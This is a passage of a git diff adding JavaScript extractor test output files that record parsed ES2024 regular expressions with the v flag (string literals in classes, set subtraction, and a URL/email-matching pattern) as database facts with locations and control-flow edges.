+hasLocation(#20036,#20013)
+enclosing_stmt(#20036,#20035)
+expr_containers(#20036,#20001)
+literals("/[\q{abc}]/v","/[\q{abc}]/v",#20036)
+#20037=*
+regexpterm(#20037,23,#20036,0,"[\q{abc}]")
+#20038=@"loc,{#10000},1,2,1,10"
+locations_default(#20038,#10000,1,2,1,10)
+hasLocation(#20037,#20038)
+#20039=*
+regexpterm(#20039,28,#20037,0,"\q{abc}")
+#20040=@"loc,{#10000},1,3,1,9"
+locations_default(#20040,#10000,1,3,1,9)
+hasLocation(#20039,#20040)
+#20041=*
+regexpterm(#20041,14,#20039,0,"abc")
+#20042=@"loc,{#10000},1,6,1,8"
+locations_default(#20042,#10000,1,6,1,8)
+hasLocation(#20041,#20042)
+regexp_const_value(#20041,"abc")
+#20043=*
+stmts(#20043,2,#20001,1,"/[\q{ab ... cb}]/v;")
+hasLocation(#20043,#20005)
+stmt_containers(#20043,#20001)
+#20044=*
+exprs(#20044,5,#20043,0,"/[\q{abc|cbd|dcb}]/v")
+hasLocation(#20044,#20017)
+enclosing_stmt(#20044,#20043)
+expr_containers(#20044,#20001)
+literals("/[\q{abc|cbd|dcb}]/v","/[\q{abc|cbd|dcb}]/v",#20044)
+#20045=*
+regexpterm(#20045,23,#20044,0,"[\q{abc|cbd|dcb}]")
+#20046=@"loc,{#10000},2,2,2,18"
+locations_default(#20046,#10000,2,2,2,18)
+hasLocation(#20045,#20046)
+#20047=*
+regexpterm(#20047,28,#20045,0,"\q{abc|cbd|dcb}")
+#20048=@"loc,{#10000},2,3,2,17"
+locations_default(#20048,#10000,2,3,2,17)
+hasLocation(#20047,#20048)
+#20049=*
+regexpterm(#20049,0,#20047,0,"abc|cbd|dcb")
+#20050=@"loc,{#10000},2,6,2,16"
+locations_default(#20050,#10000,2,6,2,16)
+hasLocation(#20049,#20050)
+#20051=*
+regexpterm(#20051,14,#20049,0,"abc")
+#20052=@"loc,{#10000},2,6,2,8"
+locations_default(#20052,#10000,2,6,2,8)
+hasLocation(#20051,#20052)
+regexp_const_value(#20051,"abc")
+#20053=*
+regexpterm(#20053,14,#20049,1,"cbd")
+#20054=@"loc,{#10000},2,10,2,12"
+locations_default(#20054,#10000,2,10,2,12)
+hasLocation(#20053,#20054)
+regexp_const_value(#20053,"cbd")
+#20055=*
+regexpterm(#20055,14,#20049,2,"dcb")
+#20056=@"loc,{#10000},2,14,2,16"
+locations_default(#20056,#10000,2,14,2,16)
+hasLocation(#20055,#20056)
+regexp_const_value(#20055,"dcb")
+#20057=*
+stmts(#20057,2,#20001,2,"/[\q{\}}]/v;")
+hasLocation(#20057,#20007)
+stmt_containers(#20057,#20001)
+#20058=*
+exprs(#20058,5,#20057,0,"/[\q{\}}]/v")
+hasLocation(#20058,#20021)
+enclosing_stmt(#20058,#20057)
+expr_containers(#20058,#20001)
+literals("/[\q{\}}]/v","/[\q{\}}]/v",#20058)
+#20059=*
+regexpterm(#20059,23,#20058,0,"[\q{\}}]")
+#20060=@"loc,{#10000},3,2,3,9"
+locations_default(#20060,#10000,3,2,3,9)
+hasLocation(#20059,#20060)
+#20061=*
+regexpterm(#20061,28,#20059,0,"\q{\}}")
+#20062=@"loc,{#10000},3,3,3,8"
+locations_default(#20062,#10000,3,3,3,8)
+hasLocation(#20061,#20062)
+#20063=*
+regexpterm(#20063,14,#20061,0,"\}")
+#20064=@"loc,{#10000},3,6,3,7"
+locations_default(#20064,#10000,3,6,3,7)
+hasLocation(#20063,#20064)
+regexp_const_value(#20063,"\}")
+#20065=*
+stmts(#20065,2,#20001,3,"/[\q{\{}]/v;")
+hasLocation(#20065,#20009)
+stmt_containers(#20065,#20001)
+#20066=*
+exprs(#20066,5,#20065,0,"/[\q{\{}]/v")
+hasLocation(#20066,#20025)
+enclosing_stmt(#20066,#20065)
+expr_containers(#20066,#20001)
+literals("/[\q{\{}]/v","/[\q{\{}]/v",#20066)
+#20067=*
+regexpterm(#20067,23,#20066,0,"[\q{\{}]")
+#20068=@"loc,{#10000},4,2,4,9"
+locations_default(#20068,#10000,4,2,4,9)
+hasLocation(#20067,#20068)
+#20069=*
+regexpterm(#20069,28,#20067,0,"\q{\{}")
+#20070=@"loc,{#10000},4,3,4,8"
+locations_default(#20070,#10000,4,3,4,8)
+hasLocation(#20069,#20070)
+#20071=*
+regexpterm(#20071,14,#20069,0,"\{")
+#20072=@"loc,{#10000},4,6,4,7"
+locations_default(#20072,#10000,4,6,4,7)
+hasLocation(#20071,#20072)
+regexp_const_value(#20071,"\{")
+#20073=*
+stmts(#20073,2,#20001,4,"/[\q{cc|\}a|cc}]/v;")
+hasLocation(#20073,#20011)
+stmt_containers(#20073,#20001)
+#20074=*
+exprs(#20074,5,#20073,0,"/[\q{cc|\}a|cc}]/v")
+hasLocation(#20074,#20029)
+enclosing_stmt(#20074,#20073)
+expr_containers(#20074,#20001)
+literals("/[\q{cc|\}a|cc}]/v","/[\q{cc|\}a|cc}]/v",#20074)
+#20075=*
+regexpterm(#20075,23,#20074,0,"[\q{cc|\}a|cc}]")
+#20076=@"loc,{#10000},5,2,5,16"
+locations_default(#20076,#10000,5,2,5,16)
+hasLocation(#20075,#20076)
+#20077=*
+regexpterm(#20077,28,#20075,0,"\q{cc|\}a|cc}")
+#20078=@"loc,{#10000},5,3,5,15"
+locations_default(#20078,#10000,5,3,5,15)
+hasLocation(#20077,#20078)
+#20079=*
+regexpterm(#20079,0,#20077,0,"cc|\}a|cc")
+#20080=@"loc,{#10000},5,6,5,14"
+locations_default(#20080,#10000,5,6,5,14)
+hasLocation(#20079,#20080)
+#20081=*
+regexpterm(#20081,14,#20079,0,"cc")
+#20082=@"loc,{#10000},5,6,5,7"
+locations_default(#20082,#10000,5,6,5,7)
+hasLocation(#20081,#20082)
+regexp_const_value(#20081,"cc")
+#20083=*
+regexpterm(#20083,14,#20079,1,"\}a")
+#20084=@"loc,{#10000},5,9,5,11"
+locations_default(#20084,#10000,5,9,5,11)
+hasLocation(#20083,#20084)
+regexp_const_value(#20083,"\}a")
+#20085=*
+regexpterm(#20085,14,#20079,2,"cc")
+#20086=@"loc,{#10000},5,13,5,14"
+locations_default(#20086,#10000,5,13,5,14)
+hasLocation(#20085,#20086)
+regexp_const_value(#20085,"cc")
+#20087=*
+entry_cfg_node(#20087,#20001)
+#20088=@"loc,{#10000},1,1,1,0"
+locations_default(#20088,#10000,1,1,1,0)
+hasLocation(#20087,#20088)
+#20089=*
+exit_cfg_node(#20089,#20001)
+hasLocation(#20089,#20033)
+successor(#20073,#20074)
+successor(#20074,#20089)
+successor(#20065,#20066)
+successor(#20066,#20073)
+successor(#20057,#20058)
+successor(#20058,#20065)
+successor(#20043,#20044)
+successor(#20044,#20057)
+successor(#20035,#20036)
+successor(#20036,#20043)
+successor(#20087,#20035)
+numlines(#10000,5,5,0)
+filetype(#10000,"javascript")
diff --git a/javascript/extractor/tests/es2024/output/trap/subtraction.js.trap b/javascript/extractor/tests/es2024/output/trap/subtraction.js.trap
new file mode 100644
index 000000000000..ee3dc27da9d5
--- /dev/null
+++ b/javascript/extractor/tests/es2024/output/trap/subtraction.js.trap
@@ -0,0 +1,268 @@
+#10000=@"/subtraction.js;sourcefile"
+files(#10000,"/subtraction.js")
+#10001=@"/;folder"
+folders(#10001,"/")
+containerparent(#10001,#10000)
+#10002=@"loc,{#10000},0,0,0,0"
+locations_default(#10002,#10000,0,0,0,0)
+hasLocation(#10000,#10002)
+#20000=@"global_scope"
+scopes(#20000,0)
+#20001=@"script;{#10000},1,1"
+#20002=*
+lines(#20002,#20001,"/[\p{Script_Extensions=Greek}--\p{Letter}]/v;","
+")
+#20003=@"loc,{#10000},1,1,1,45"
+locations_default(#20003,#10000,1,1,1,45)
+hasLocation(#20002,#20003)
+#20004=*
+lines(#20004,#20001,"/[[abc]--[cbd]]/v;","
+")
+#20005=@"loc,{#10000},2,1,2,18"
+locations_default(#20005,#10000,2,1,2,18)
+hasLocation(#20004,#20005)
+#20006=*
+lines(#20006,#20001,"/[[abc]--[cbd]--[bde]]/v;","
+")
+#20007=@"loc,{#10000},3,1,3,25"
+locations_default(#20007,#10000,3,1,3,25)
+hasLocation(#20006,#20007)
+numlines(#20001,3,3,0)
+#20008=*
+tokeninfo(#20008,5,#20001,0,"/[\p{Script_Extensions=Greek}--\p{Letter}]/v")
+#20009=@"loc,{#10000},1,1,1,44"
+locations_default(#20009,#10000,1,1,1,44)
+hasLocation(#20008,#20009)
+#20010=*
+tokeninfo(#20010,8,#20001,1,";")
+#20011=@"loc,{#10000},1,45,1,45"
+locations_default(#20011,#10000,1,45,1,45)
+hasLocation(#20010,#20011)
+#20012=*
+tokeninfo(#20012,5,#20001,2,"/[[abc]--[cbd]]/v")
+#20013=@"loc,{#10000},2,1,2,17"
+locations_default(#20013,#10000,2,1,2,17)
+hasLocation(#20012,#20013)
+#20014=*
+tokeninfo(#20014,8,#20001,3,";")
+#20015=@"loc,{#10000},2,18,2,18"
+locations_default(#20015,#10000,2,18,2,18)
+hasLocation(#20014,#20015)
+#20016=*
+tokeninfo(#20016,5,#20001,4,"/[[abc]--[cbd]--[bde]]/v")
+#20017=@"loc,{#10000},3,1,3,24"
+locations_default(#20017,#10000,3,1,3,24)
+hasLocation(#20016,#20017)
+#20018=*
+tokeninfo(#20018,8,#20001,5,";")
+#20019=@"loc,{#10000},3,25,3,25"
+locations_default(#20019,#10000,3,25,3,25)
+hasLocation(#20018,#20019)
+#20020=*
+tokeninfo(#20020,0,#20001,6,"")
+#20021=@"loc,{#10000},4,1,4,0"
+locations_default(#20021,#10000,4,1,4,0)
+hasLocation(#20020,#20021)
+toplevels(#20001,0)
+#20022=@"loc,{#10000},1,1,4,0"
+locations_default(#20022,#10000,1,1,4,0)
+hasLocation(#20001,#20022)
+#20023=*
+stmts(#20023,2,#20001,0,"/[\p{Sc ... er}]/v;")
+hasLocation(#20023,#20003)
+stmt_containers(#20023,#20001)
+#20024=*
+exprs(#20024,5,#20023,0,"/[\p{Sc ... ter}]/v")
+hasLocation(#20024,#20009)
+enclosing_stmt(#20024,#20023)
+expr_containers(#20024,#20001)
+literals("/[\p{Script_Extensions=Greek}--\p{Letter}]/v","/[\p{Script_Extensions=Greek}--\p{Letter}]/v",#20024)
+#20025=*
+regexpterm(#20025,23,#20024,0,"[\p{Script_Extensions=Greek}--\p{Letter}]")
+#20026=@"loc,{#10000},1,2,1,42"
+locations_default(#20026,#10000,1,2,1,42)
+hasLocation(#20025,#20026)
+#20027=*
+regexpterm(#20027,30,#20025,0,"[\p{Script_Extensions=Greek}--\p{Letter}]")
+hasLocation(#20027,#20026)
+#20028=*
+regexpterm(#20028,27,#20027,0,"\p{Script_Extensions=Greek}")
+#20029=@"loc,{#10000},1,3,1,29"
+locations_default(#20029,#10000,1,3,1,29)
+hasLocation(#20028,#20029)
+unicode_property_escapename(#20028,"Script_Extensions")
+unicode_property_escapevalue(#20028,"Greek")
+#20030=*
+regexpterm(#20030,27,#20027,1,"\p{Letter}")
+#20031=@"loc,{#10000},1,32,1,41"
+locations_default(#20031,#10000,1,32,1,41)
+hasLocation(#20030,#20031)
+unicode_property_escapename(#20030,"Letter")
+#20032=*
+stmts(#20032,2,#20001,1,"/[[abc]--[cbd]]/v;")
+hasLocation(#20032,#20005)
+stmt_containers(#20032,#20001)
+#20033=*
+exprs(#20033,5,#20032,0,"/[[abc]--[cbd]]/v")
+hasLocation(#20033,#20013)
+enclosing_stmt(#20033,#20032)
+expr_containers(#20033,#20001)
+literals("/[[abc]--[cbd]]/v","/[[abc]--[cbd]]/v",#20033)
+#20034=*
+regexpterm(#20034,23,#20033,0,"[[abc]--[cbd]]")
+#20035=@"loc,{#10000},2,2,2,15"
+locations_default(#20035,#10000,2,2,2,15)
+hasLocation(#20034,#20035)
+#20036=*
+regexpterm(#20036,30,#20034,0,"[[abc]--[cbd]]")
+hasLocation(#20036,#20035)
+#20037=*
+regexpterm(#20037,23,#20036,0,"[abc]")
+#20038=@"loc,{#10000},2,3,2,7"
+locations_default(#20038,#10000,2,3,2,7)
+hasLocation(#20037,#20038)
+#20039=*
+regexpterm(#20039,14,#20037,0,"a")
+#20040=@"loc,{#10000},2,4,2,4"
+locations_default(#20040,#10000,2,4,2,4)
+hasLocation(#20039,#20040)
+regexp_const_value(#20039,"a")
+#20041=*
+regexpterm(#20041,14,#20037,1,"b")
+#20042=@"loc,{#10000},2,5,2,5"
+locations_default(#20042,#10000,2,5,2,5)
+hasLocation(#20041,#20042)
+regexp_const_value(#20041,"b")
+#20043=*
+regexpterm(#20043,14,#20037,2,"c")
+#20044=@"loc,{#10000},2,6,2,6"
+locations_default(#20044,#10000,2,6,2,6)
+hasLocation(#20043,#20044)
+regexp_const_value(#20043,"c")
+#20045=*
+regexpterm(#20045,23,#20036,1,"[cbd]")
+#20046=@"loc,{#10000},2,10,2,14"
+locations_default(#20046,#10000,2,10,2,14)
+hasLocation(#20045,#20046)
+#20047=*
+regexpterm(#20047,14,#20045,0,"c")
+#20048=@"loc,{#10000},2,11,2,11"
+locations_default(#20048,#10000,2,11,2,11)
+hasLocation(#20047,#20048)
+regexp_const_value(#20047,"c")
+#20049=*
+regexpterm(#20049,14,#20045,1,"b")
+#20050=@"loc,{#10000},2,12,2,12"
+locations_default(#20050,#10000,2,12,2,12)
+hasLocation(#20049,#20050)
+regexp_const_value(#20049,"b")
+#20051=*
+regexpterm(#20051,14,#20045,2,"d")
+#20052=@"loc,{#10000},2,13,2,13"
+locations_default(#20052,#10000,2,13,2,13)
+hasLocation(#20051,#20052)
+regexp_const_value(#20051,"d")
+#20053=*
+stmts(#20053,2,#20001,2,"/[[abc] ... de]]/v;")
+hasLocation(#20053,#20007)
+stmt_containers(#20053,#20001)
+#20054=*
+exprs(#20054,5,#20053,0,"/[[abc] ... bde]]/v")
+hasLocation(#20054,#20017)
+enclosing_stmt(#20054,#20053)
+expr_containers(#20054,#20001)
+literals("/[[abc]--[cbd]--[bde]]/v","/[[abc]--[cbd]--[bde]]/v",#20054)
+#20055=*
+regexpterm(#20055,23,#20054,0,"[[abc]--[cbd]--[bde]]")
+#20056=@"loc,{#10000},3,2,3,22"
+locations_default(#20056,#10000,3,2,3,22)
+hasLocation(#20055,#20056)
+#20057=*
+regexpterm(#20057,30,#20055,0,"[[abc]--[cbd]--[bde]]")
+hasLocation(#20057,#20056)
+#20058=*
+regexpterm(#20058,23,#20057,0,"[abc]")
+#20059=@"loc,{#10000},3,3,3,7"
+locations_default(#20059,#10000,3,3,3,7)
+hasLocation(#20058,#20059)
+#20060=*
+regexpterm(#20060,14,#20058,0,"a")
+#20061=@"loc,{#10000},3,4,3,4"
+locations_default(#20061,#10000,3,4,3,4)
+hasLocation(#20060,#20061)
+regexp_const_value(#20060,"a")
+#20062=*
+regexpterm(#20062,14,#20058,1,"b")
+#20063=@"loc,{#10000},3,5,3,5"
+locations_default(#20063,#10000,3,5,3,5)
+hasLocation(#20062,#20063)
+regexp_const_value(#20062,"b")
+#20064=*
+regexpterm(#20064,14,#20058,2,"c")
+#20065=@"loc,{#10000},3,6,3,6"
+locations_default(#20065,#10000,3,6,3,6)
+hasLocation(#20064,#20065)
+regexp_const_value(#20064,"c")
+#20066=*
+regexpterm(#20066,23,#20057,1,"[cbd]")
+#20067=@"loc,{#10000},3,10,3,14"
+locations_default(#20067,#10000,3,10,3,14)
+hasLocation(#20066,#20067)
+#20068=*
+regexpterm(#20068,14,#20066,0,"c")
+#20069=@"loc,{#10000},3,11,3,11"
+locations_default(#20069,#10000,3,11,3,11)
+hasLocation(#20068,#20069)
+regexp_const_value(#20068,"c")
+#20070=*
+regexpterm(#20070,14,#20066,1,"b")
+#20071=@"loc,{#10000},3,12,3,12"
+locations_default(#20071,#10000,3,12,3,12)
+hasLocation(#20070,#20071)
+regexp_const_value(#20070,"b")
+#20072=*
+regexpterm(#20072,14,#20066,2,"d")
+#20073=@"loc,{#10000},3,13,3,13"
+locations_default(#20073,#10000,3,13,3,13)
+hasLocation(#20072,#20073)
+regexp_const_value(#20072,"d")
+#20074=*
+regexpterm(#20074,23,#20057,2,"[bde]")
+#20075=@"loc,{#10000},3,17,3,21"
+locations_default(#20075,#10000,3,17,3,21)
+hasLocation(#20074,#20075)
+#20076=*
+regexpterm(#20076,14,#20074,0,"b")
+#20077=@"loc,{#10000},3,18,3,18"
+locations_default(#20077,#10000,3,18,3,18)
+hasLocation(#20076,#20077)
+regexp_const_value(#20076,"b")
+#20078=*
+regexpterm(#20078,14,#20074,1,"d")
+#20079=@"loc,{#10000},3,19,3,19"
+locations_default(#20079,#10000,3,19,3,19)
+hasLocation(#20078,#20079)
+regexp_const_value(#20078,"d")
+#20080=*
+regexpterm(#20080,14,#20074,2,"e")
+#20081=@"loc,{#10000},3,20,3,20"
+locations_default(#20081,#10000,3,20,3,20)
+hasLocation(#20080,#20081)
+regexp_const_value(#20080,"e")
+#20082=*
+entry_cfg_node(#20082,#20001)
+#20083=@"loc,{#10000},1,1,1,0"
+locations_default(#20083,#10000,1,1,1,0)
+hasLocation(#20082,#20083)
+#20084=*
+exit_cfg_node(#20084,#20001)
+hasLocation(#20084,#20021)
+successor(#20053,#20054)
+successor(#20054,#20084)
+successor(#20032,#20033)
+successor(#20033,#20053)
+successor(#20023,#20024)
+successor(#20024,#20032)
+successor(#20082,#20023)
+numlines(#10000,3,3,0)
+filetype(#10000,"javascript")
diff --git a/javascript/extractor/tests/es2024/output/trap/test.js.trap b/javascript/extractor/tests/es2024/output/trap/test.js.trap
new file mode 100644
index 000000000000..2cacd2029baa
--- /dev/null
+++ b/javascript/extractor/tests/es2024/output/trap/test.js.trap
@@ -0,0 +1,510 @@
+#10000=@"/test.js;sourcefile"
+files(#10000,"/test.js")
+#10001=@"/;folder"
+folders(#10001,"/")
+containerparent(#10001,#10000)
+#10002=@"loc,{#10000},0,0,0,0"
+locations_default(#10002,#10000,0,0,0,0)
+hasLocation(#10000,#10002)
+#20000=@"global_scope"
+scopes(#20000,0)
+#20001=@"script;{#10000},1,1"
+#20002=*
+lines(#20002,#20001,"const regex = /\b(?:https?:\/\/|mailto:|www\.)(?:[\S--[\p{P}<>]]|\/|[\S--[\[\]]]+[\S--[\p{P}<>]])+|\b[\S--[@\p{Ps}\p{Pe}<>]]+@([\S--[\p{P}<>]]+(?:\.[\S--[\p{P}<>]]+)+)/gmv;","
+")
+#20003=@"loc,{#10000},1,1,1,172"
+locations_default(#20003,#10000,1,1,1,172)
+hasLocation(#20002,#20003)
+numlines(#20001,1,1,0)
+#20004=*
+tokeninfo(#20004,7,#20001,0,"const")
+#20005=@"loc,{#10000},1,1,1,5"
+locations_default(#20005,#10000,1,1,1,5)
+hasLocation(#20004,#20005)
+#20006=*
+tokeninfo(#20006,6,#20001,1,"regex")
+#20007=@"loc,{#10000},1,7,1,11"
+locations_default(#20007,#10000,1,7,1,11)
+hasLocation(#20006,#20007)
+#20008=*
+tokeninfo(#20008,8,#20001,2,"=")
+#20009=@"loc,{#10000},1,13,1,13"
+locations_default(#20009,#10000,1,13,1,13)
+hasLocation(#20008,#20009)
+#20010=*
+tokeninfo(#20010,5,#20001,3,"/\b(?:https?:\/\/|mailto:|www\.)(?:[\S--[\p{P}<>]]|\/|[\S--[\[\]]]+[\S--[\p{P}<>]])+|\b[\S--[@\p{Ps}\p{Pe}<>]]+@([\S--[\p{P}<>]]+(?:\.[\S--[\p{P}<>]]+)+)/gmv")
+#20011=@"loc,{#10000},1,15,1,171"
+locations_default(#20011,#10000,1,15,1,171)
+hasLocation(#20010,#20011)
+#20012=*
+tokeninfo(#20012,8,#20001,4,";")
+#20013=@"loc,{#10000},1,172,1,172"
+locations_default(#20013,#10000,1,172,1,172)
+hasLocation(#20012,#20013)
+#20014=*
+tokeninfo(#20014,0,#20001,5,"")
+#20015=@"loc,{#10000},2,1,2,0"
+locations_default(#20015,#10000,2,1,2,0)
+hasLocation(#20014,#20015)
+toplevels(#20001,0)
+#20016=@"loc,{#10000},1,1,2,0"
+locations_default(#20016,#10000,1,1,2,0)
+hasLocation(#20001,#20016)
+#20017=@"var;{regex};{#20000}"
+variables(#20017,"regex",#20000)
+#20018=*
+stmts(#20018,22,#20001,0,"const r ... +)/gmv;")
+hasLocation(#20018,#20003)
+stmt_containers(#20018,#20001)
+#20019=*
+exprs(#20019,64,#20018,0,"regex = ... )+)/gmv")
+#20020=@"loc,{#10000},1,7,1,171"
+locations_default(#20020,#10000,1,7,1,171)
+hasLocation(#20019,#20020)
+enclosing_stmt(#20019,#20018)
+expr_containers(#20019,#20001)
+#20021=*
+exprs(#20021,78,#20019,0,"regex")
+hasLocation(#20021,#20007)
+enclosing_stmt(#20021,#20018)
+expr_containers(#20021,#20001)
+literals("regex","regex",#20021)
+decl(#20021,#20017)
+#20022=*
+exprs(#20022,5,#20019,1,"/\b(?:h ... )+)/gmv")
+hasLocation(#20022,#20011)
+enclosing_stmt(#20022,#20018)
+expr_containers(#20022,#20001)
+literals("/\b(?:https?:\/\/|mailto:|www\.)(?:[\S--[\p{P}<>]]|\/|[\S--[\[\]]]+[\S--[\p{P}<>]])+|\b[\S--[@\p{Ps}\p{Pe}<>]]+@([\S--[\p{P}<>]]+(?:\.[\S--[\p{P}<>]]+)+)/gmv","/\b(?:https?:\/\/|mailto:|www\.)(?:[\S--[\p{P}<>]]|\/|[\S--[\[\]]]+[\S--[\p{P}<>]])+|\b[\S--[@\p{Ps}\p{Pe}<>]]+@([\S--[\p{P}<>]]+(?:\.[\S--[\p{P}<>]]+)+)/gmv",#20022)
+#20023=*
+regexpterm(#20023,0,#20022,0,"\b(?:https?:\/\/|mailto:|www\.)(?:[\S--[\p{P}<>]]|\/|[\S--[\[\]]]+[\S--[\p{P}<>]])+|\b[\S--[@\p{Ps}\p{Pe}<>]]+@([\S--[\p{P}<>]]+(?:\.[\S--[\p{P}<>]]+)+)")
+#20024=@"loc,{#10000},1,16,1,167"
+locations_default(#20024,#10000,1,16,1,167)
+hasLocation(#20023,#20024)
+#20025=*
+regexpterm(#20025,1,#20023,0,"\b(?:https?:\/\/|mailto:|www\.)(?:[\S--[\p{P}<>]]|\/|[\S--[\[\]]]+[\S--[\p{P}<>]])+")
+#20026=@"loc,{#10000},1,16,1,98"
+locations_default(#20026,#10000,1,16,1,98)
+hasLocation(#20025,#20026)
+#20027=*
+regexpterm(#20027,4,#20025,0,"\b")
+#20028=@"loc,{#10000},1,16,1,17"
+locations_default(#20028,#10000,1,16,1,17)
+hasLocation(#20027,#20028)
+#20029=*
+regexpterm(#20029,13,#20025,1,"(?:https?:\/\/|mailto:|www\.)")
+#20030=@"loc,{#10000},1,18,1,46"
+locations_default(#20030,#10000,1,18,1,46)
+hasLocation(#20029,#20030)
+#20031=*
+regexpterm(#20031,0,#20029,0,"https?:\/\/|mailto:|www\.")
+#20032=@"loc,{#10000},1,21,1,45"
+locations_default(#20032,#10000,1,21,1,45)
+hasLocation(#20031,#20032)
+#20033=*
+regexpterm(#20033,1,#20031,0,"https?:\/\/")
+#20034=@"loc,{#10000},1,21,1,31"
+locations_default(#20034,#10000,1,21,1,31)
+hasLocation(#20033,#20034)
+#20035=*
+regexpterm(#20035,14,#20033,0,"http")
+#20036=@"loc,{#10000},1,21,1,24"
+locations_default(#20036,#10000,1,21,1,24)
+hasLocation(#20035,#20036)
+regexp_const_value(#20035,"http")
+#20037=*
+regexpterm(#20037,10,#20033,1,"s?")
+#20038=@"loc,{#10000},1,25,1,26"
+locations_default(#20038,#10000,1,25,1,26)
+hasLocation(#20037,#20038)
+is_greedy(#20037)
+#20039=*
+regexpterm(#20039,14,#20037,0,"s")
+#20040=@"loc,{#10000},1,25,1,25"
+locations_default(#20040,#10000,1,25,1,25)
+hasLocation(#20039,#20040)
+regexp_const_value(#20039,"s")
+#20041=*
+regexpterm(#20041,14,#20033,2,":")
+#20042=@"loc,{#10000},1,27,1,27"
+locations_default(#20042,#10000,1,27,1,27)
+hasLocation(#20041,#20042)
+regexp_const_value(#20041,":")
+#20043=*
+regexpterm(#20043,21,#20033,3,"\/")
+#20044=@"loc,{#10000},1,28,1,29"
+locations_default(#20044,#10000,1,28,1,29)
+hasLocation(#20043,#20044)
+regexp_const_value(#20043,"/")
+#20045=*
+regexpterm(#20045,21,#20033,4,"\/")
+#20046=@"loc,{#10000},1,30,1,31"
+locations_default(#20046,#10000,1,30,1,31)
+hasLocation(#20045,#20046)
+regexp_const_value(#20045,"/")
+#20047=*
+regexpterm(#20047,14,#20031,1,"mailto:")
+#20048=@"loc,{#10000},1,33,1,39"
+locations_default(#20048,#10000,1,33,1,39)
+hasLocation(#20047,#20048)
+regexp_const_value(#20047,"mailto:")
+#20049=*
+regexpterm(#20049,1,#20031,2,"www\.")
+#20050=@"loc,{#10000},1,41,1,45"
+locations_default(#20050,#10000,1,41,1,45)
+hasLocation(#20049,#20050)
+#20051=*
+regexpterm(#20051,14,#20049,0,"www")
+#20052=@"loc,{#10000},1,41,1,43"
+locations_default(#20052,#10000,1,41,1,43)
+hasLocation(#20051,#20052)
+regexp_const_value(#20051,"www")
+#20053=*
+regexpterm(#20053,21,#20049,1,"\.")
+#20054=@"loc,{#10000},1,44,1,45"
+locations_default(#20054,#10000,1,44,1,45)
+hasLocation(#20053,#20054)
+regexp_const_value(#20053,".")
+#20055=*
+regexpterm(#20055,9,#20025,2,"(?:[\S--[\p{P}<>]]|\/|[\S--[\[\]]]+[\S--[\p{P}<>]])+")
+#20056=@"loc,{#10000},1,47,1,98"
+locations_default(#20056,#10000,1,47,1,98)
+hasLocation(#20055,#20056)
+is_greedy(#20055)
+#20057=*
+regexpterm(#20057,13,#20055,0,"(?:[\S--[\p{P}<>]]|\/|[\S--[\[\]]]+[\S--[\p{P}<>]])")
+#20058=@"loc,{#10000},1,47,1,97"
+locations_default(#20058,#10000,1,47,1,97)
+hasLocation(#20057,#20058)
+#20059=*
+regexpterm(#20059,0,#20057,0,"[\S--[\p{P}<>]]|\/|[\S--[\[\]]]+[\S--[\p{P}<>]]")
+#20060=@"loc,{#10000},1,50,1,96"
+locations_default(#20060,#10000,1,50,1,96)
+hasLocation(#20059,#20060)
+#20061=*
+regexpterm(#20061,23,#20059,0,"[\S--[\p{P}<>]]")
+#20062=@"loc,{#10000},1,50,1,64"
+locations_default(#20062,#10000,1,50,1,64)
+hasLocation(#20061,#20062)
+#20063=*
+regexpterm(#20063,30,#20061,0,"[\S--[\p{P}<>]]")
+hasLocation(#20063,#20062)
+#20064=*
+regexpterm(#20064,20,#20063,0,"\S")
+#20065=@"loc,{#10000},1,51,1,52"
+locations_default(#20065,#10000,1,51,1,52)
+hasLocation(#20064,#20065)
+char_class_escape(#20064,"S")
+#20066=*
+regexpterm(#20066,23,#20063,1,"[\p{P}<>]")
+#20067=@"loc,{#10000},1,55,1,63"
+locations_default(#20067,#10000,1,55,1,63)
+hasLocation(#20066,#20067)
+#20068=*
+regexpterm(#20068,27,#20066,0,"\p{P}")
+#20069=@"loc,{#10000},1,56,1,60"
+locations_default(#20069,#10000,1,56,1,60)
+hasLocation(#20068,#20069)
+unicode_property_escapename(#20068,"P")
+#20070=*
+regexpterm(#20070,14,#20066,1,"<")
+#20071=@"loc,{#10000},1,61,1,61"
+locations_default(#20071,#10000,1,61,1,61)
+hasLocation(#20070,#20071)
+regexp_const_value(#20070,"<")
+#20072=*
+regexpterm(#20072,14,#20066,2,">")
+#20073=@"loc,{#10000},1,62,1,62"
+locations_default(#20073,#10000,1,62,1,62)
+hasLocation(#20072,#20073)
+regexp_const_value(#20072,">")
+#20074=*
+regexpterm(#20074,21,#20059,1,"\/")
+#20075=@"loc,{#10000},1,66,1,67"
+locations_default(#20075,#10000,1,66,1,67)
+hasLocation(#20074,#20075)
+regexp_const_value(#20074,"/")
+#20076=*
+regexpterm(#20076,1,#20059,2,"[\S--[\[\]]]+[\S--[\p{P}<>]]")
+#20077=@"loc,{#10000},1,69,1,96"
+locations_default(#20077,#10000,1,69,1,96)
+hasLocation(#20076,#20077)
+#20078=*
+regexpterm(#20078,9,#20076,0,"[\S--[\[\]]]+")
+#20079=@"loc,{#10000},1,69,1,81"
+locations_default(#20079,#10000,1,69,1,81)
+hasLocation(#20078,#20079)
+is_greedy(#20078)
+#20080=*
+regexpterm(#20080,23,#20078,0,"[\S--[\[\]]]")
+#20081=@"loc,{#10000},1,69,1,80"
+locations_default(#20081,#10000,1,69,1,80)
+hasLocation(#20080,#20081)
+#20082=*
+regexpterm(#20082,30,#20080,0,"[\S--[\[\]]]")
+hasLocation(#20082,#20081)
+#20083=*
+regexpterm(#20083,20,#20082,0,"\S")
+#20084=@"loc,{#10000},1,70,1,71"
+locations_default(#20084,#10000,1,70,1,71)
+hasLocation(#20083,#20084)
+char_class_escape(#20083,"S")
+#20085=*
+regexpterm(#20085,23,#20082,1,"[\[\]]")
+#20086=@"loc,{#10000},1,74,1,79"
+locations_default(#20086,#10000,1,74,1,79)
+hasLocation(#20085,#20086)
+#20087=*
+regexpterm(#20087,21,#20085,0,"\[")
+#20088=@"loc,{#10000},1,75,1,76"
+locations_default(#20088,#10000,1,75,1,76)
+hasLocation(#20087,#20088)
+regexp_const_value(#20087,"[")
+#20089=*
+regexpterm(#20089,21,#20085,1,"\]")
+#20090=@"loc,{#10000},1,77,1,78"
+locations_default(#20090,#10000,1,77,1,78)
+hasLocation(#20089,#20090)
+regexp_const_value(#20089,"]")
+#20091=*
+regexpterm(#20091,23,#20076,1,"[\S--[\p{P}<>]]")
+#20092=@"loc,{#10000},1,82,1,96"
+locations_default(#20092,#10000,1,82,1,96)
+hasLocation(#20091,#20092)
+#20093=*
+regexpterm(#20093,30,#20091,0,"[\S--[\p{P}<>]]")
+hasLocation(#20093,#20092)
